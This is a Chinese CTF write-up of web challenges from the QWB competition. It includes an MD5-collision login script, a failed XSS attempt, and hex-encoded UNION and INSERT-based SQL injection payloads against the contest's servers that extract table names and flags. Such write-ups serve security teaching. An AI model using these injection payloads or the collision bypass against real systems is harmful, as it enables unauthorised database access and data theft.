[强网杯](web)部分writeup

web签到

这道题在一航sniperoj上写到过,当时就觉得题目挺赞的。解法用到了王小云的md5碰撞的测试样本。具体内容自行百度。直接给出代码和解法。

题目地址: http://39.107.33.96:10000

#!/usr/bin/env python

import requests
import hashlib

def getMd5(word):
    m = hashlib.md5()
    m.update(word)
    return m.hexdigest()

def getContent(filepath):
    with open(filepath, "r") as f:
        return f.read()

def login(username, password):
    url = "http://39.107.33.96:10000/index.php"
    data = {
        "param1":username,
        "param2":password,
    }
    proxy={"http":"http://127.0.0.1:8080"}
    response = requests.post(url, data=data,proxies=proxy)
    print response.text.split("\n")[0]

username = getContent("./evil1.txt")
password = getContent("./evil2.txt")

print "[+] Checking md5 of input files..."
if getMd5(username) == getMd5(password):
    print "[+] Checking OK!"
    print "[+] Sending..."
    login(username, password)
else:
    print "[-] Checking failed! Please use : [http://www.win.tue.nl/hashclash/]"
[强网杯](web)部分writeup_第1张图片
image

文件下载地址:https://pan.baidu.com/s/1OaS7nnuQzG4dsmneAHEArA#list/path=%2Fctf

Share your mind

题目地址: http://39.107.33.96:20000/login.php

踩了个坑,非预期无解...

非预期: 提交http://39.107.33.96:20000/index.php/report?看dnslog发现确实解析,测试也能够xss,但是就是打不过cookie......换了一万年的payload.......也是头铁,无语,预期解也没想出来....

[强网杯](web)部分writeup_第2张图片
image

Three hit

一个注册登录功能,在age处注入,age校检数字,用十六进制绕过。所以字符先十六进制转化,在insert进数据库的时候又会变回字符串。

payload:

1 and 0 union select 1,2,3,4 #

3120616e64203020756e696f6e2073656c65637420312c322c332c342023

1 and 0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 #

3120616e64203020756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829292c332c342023

1 and 0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),3,4 #


1 and 0 union select 1,(select group_concat(flag) from flag),3,4 #

[强网杯](web)部分writeup_第3张图片
image

[强网杯](web)部分writeup_第4张图片
image
[强网杯](web)部分writeup_第5张图片
image

python is best language

题目地址: http://39.107.32.29:20000

写过django,和flask差不多,拿到源码往Cobra一丢,以为能有点东西,发现还是太年轻了...

python代码审计没怎么接触过,依稀记得有jinja模板漏洞之类的。结构比较简单,一步一步跟进测试分析吧。

注册页面

看表单处理,在/app/forms.py,对用户名注册有过滤。

def validate_username(self, username):
        if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')
        user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])

是一个留言板,还可以看到forms.py下面对profile about me的过滤。

def validate_note(self, note):
        if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
            raise ValidationError("Don't input invalid charactors!")

但是却对浏览这一块say something没有任何防护处理。

class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

在others.py可以看到与数据库交互的操作,是直接拼接的,不存在防护。

所以注入应该是在留言的时候,通过insert将我们需要注入的数据存起来。

接下来就是搞清instert结构,在models.py最下面。

class Post(Base):
    __tablename__ = "post"
    id = Column(Integer, primary_key=True)
    body = Column(String(140))
    user_id = Column(Integer, ForeignKey('user.id'))
    timestamp = Column(Date, index=True, default=datetime.utcnow)

    def __repr__(self):
        return ''.format(self.body)

可以看到,插入数据有四条。

所以payload t',1,'2018-03-24')#即可成功闭合。

同时再插入一条获取我们的数据。

go',1,'2018-03-24'),(111,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'1','2018-03-24')#

得到:flaaaaag,followers,post,user

go',1,'2018-03-24'),(1111,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616161616167),'1','2018-03-24')#

得到flllllag

go',1,'2018-03-24'),(11111,(select group_concat(flllllag) from flaaaaag),'1','2018-03-24')#

QWB{us1ng_val1dator_caut1ous}

打不动真的打不动........

你可能感兴趣的:([强网杯](web)部分writeup)